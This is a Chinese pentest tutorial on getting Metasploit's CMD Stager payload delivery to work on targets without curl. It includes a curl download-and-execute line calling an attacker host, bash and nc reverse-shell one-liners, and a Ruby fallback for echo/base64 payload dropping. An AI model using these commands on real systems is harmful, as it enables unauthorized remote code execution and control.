1. 背景与问题场景
在渗透测试或漏洞利用中,Metasploit(MSF)是业界最常用的框架之一。
其许多 RCE(远程代码执行)模块在落地 payload(如 Meterpreter 或反弹 shell)时,采用了 CMD Stager 机制,通过常见的下载器(curl
、wget
、tftp
、fetch
等)从攻击者的 HTTP 服务下载二进制文件并执行。
例如,在利用 exploit/multi/http/zabbix_script_exec
模块时,默认的自动模式(CMDSTAGER::FLAVOR=auto
)可能会生成这样的命令:
curl -so /tmp/KvENJxdp http://192.168.56.10:9999/CaxnZl7dATG9W; chmod +x /tmp/KvENJxdp; /tmp/KvENJxdp; rm -f /tmp/KvENJxdp
这条命令的逻辑很简单:
- 使用
curl
从攻击者主机(192.168.56.10:9999)下载 payload 到/tmp/KvENJxdp
。 chmod +x
赋予执行权限。- 执行该文件,建立回连(如 reverse_tcp)。
- 删除文件,清理痕迹。
问题是:
如果目标主机缺少 curl
(或其他下载器),这条命令将直接失败,利用中断。
2. 为什么会失败?——CMD Stager 原理
【如上图,成功创建了script,但利用失败】
Metasploit 的 Command Stager(命令分段器)是一个用于在目标上分步传输并执行 payload 的抽象模块。
它会根据目标系统的可用工具,选择一种“传输方式”,这些方式被称为 Flavor。
常见的 Linux 系统 flavor:
curl
wget
tftp
fetch
ftp_http
echo
(通过echo
写出二进制文件)printf
bourne
(直接传输命令)
Windows flavor:
psh_invokewebrequest
(PowerShell)certutil
bitsadmin
工作流程:
- 模块执行前,会探测目标可能的工具(某些模块会主动探测,某些直接假设存在)。
- 选择第一个可用的 flavor(
auto
模式下由框架自动决定)。 - 构造对应的命令行字符串。
- 在目标上执行该命令,完成 payload 落地。
当目标既没有 curl
也没有 wget
,且模块又没有降级到 echo
/printf
等无下载器模式,就会直接报错或无响应。
3. 解决思路总览
要解决无 curl
环境下的利用失败问题,有几条路线可选:
方案 1:手动指定其他可用下载器
如果目标上有 wget
或 tftp
,可以在 MSF 中手动设置:
set CMDSTAGER::FLAVOR wget
或:
set CMDSTAGER::FLAVOR tftp
这样 MSF 会用你指定的工具生成命令。
【如图,改为wget,利用成功】
方案 2:使用 echo
/ printf
无下载器写文件
MSF 内置的 echo
flavor 会将 payload 切分为多行 Base64/十六进制块,然后用 echo
或 printf
写到文件中:
echo -ne '\x7f\x45\x4c\x46...' > /tmp/payload
chmod +x /tmp/payload
/tmp/payload
只要目标有最基本的 shell 内置命令即可。
设置方法:
set CMDSTAGER::FLAVOR echo
方案 3:完全跳过文件落地,直接反弹 Shell
如果目标机支持 bash
或 nc
,可以直接运行一行反弹命令:
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1
或:
mkfifo /tmp/f; nc 192.168.56.10 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
在 MSF 中可以用:
set PAYLOAD cmd/unix/reverse_bash
或直接用 cmd/unix/generic
手工写反弹命令。
方案 4:修改模块源码,自定义 CMD Stager
本文提到的 zabbix_script_exec
,源码在:
modules/exploits/multi/http/zabbix_script_exec.rb
你可以把 execute_cmdstager
部分改成自动 fallback 到 echo
/base64
写文件方式,这样在缺少下载器时也能执行。
示例修改:
def execute_cmdstager(opts = {})beginsuperrescueprint_status("Falling back to echo-based payload delivery")execute_command("echo '#{Rex::Text.encode_base64(payload.encoded)}' | base64 -d > /tmp/p; chmod +x /tmp/p; /tmp/p")end
end
4. 各方案的优劣对比
方案 | 优点 | 缺点 | 适用场景 |
---|---|---|---|
手动指定下载器 | 修改少,执行快 | 仍依赖外部下载器 | 目标有其他下载工具 |
echo / printf 写文件 | 不依赖下载器 | 对大文件执行慢,可能超时 | 目标只有最基本 shell |
直接反弹 Shell | 无文件落地,速度快 | 不适合长期驻留 | 临时命令执行 |
修改模块源码 | 一次改好,后续复用 | 需要懂 Ruby,维护成本 | 同类环境经常遇到 |
需要注意的是,本文演示的 exploit/multi/http/zabbix_script_exec
这个模块本身并没有实现 echo
这种无下载器的 CMD Stager flavor。
所以即使 Metasploit 框架本身支持 echo
/printf
,这个模块也没法直接用,因为它的 Targets
和 execute_cmdstager
里只注册了有限几种 flavor(auto
, tftp
, wget
, curl
, fetch
, lwprequest
, psh_invokewebrequest
, ftp_http
)。
关键点:
CMDSTAGER::FLAVOR
的可选值不是全局通用的,而是模块里显式声明的。zabbix_script_exec
是基于 Linux Dropper 目标实现的,默认只假设目标有下载器。- 这种模块一旦遇到无 curl / wget 环境,就只能失败,除非改源码。
总结与建议
无 curl
环境并不是利用的终点,关键是理解 CMD Stager 的原理,并灵活切换传输方式。
- 快速解决:尝试
set CMDSTAGER::FLAVOR wget
- 轻量化攻击:用
cmd/unix/reverse_bash
直接反弹 shell - 长期优化:改模块源码,自动 fallback 到无下载器模式
- 极端环境:研究无磁盘落地、内存注入等高阶技巧
在团队内部,可以把这些方案封装成“利用模板库”,遇到不同目标环境时快速切换,避免因下载器缺失而卡死。
官方文档:https://docs.metasploit.com/api/Msf/Exploit/CmdStager.html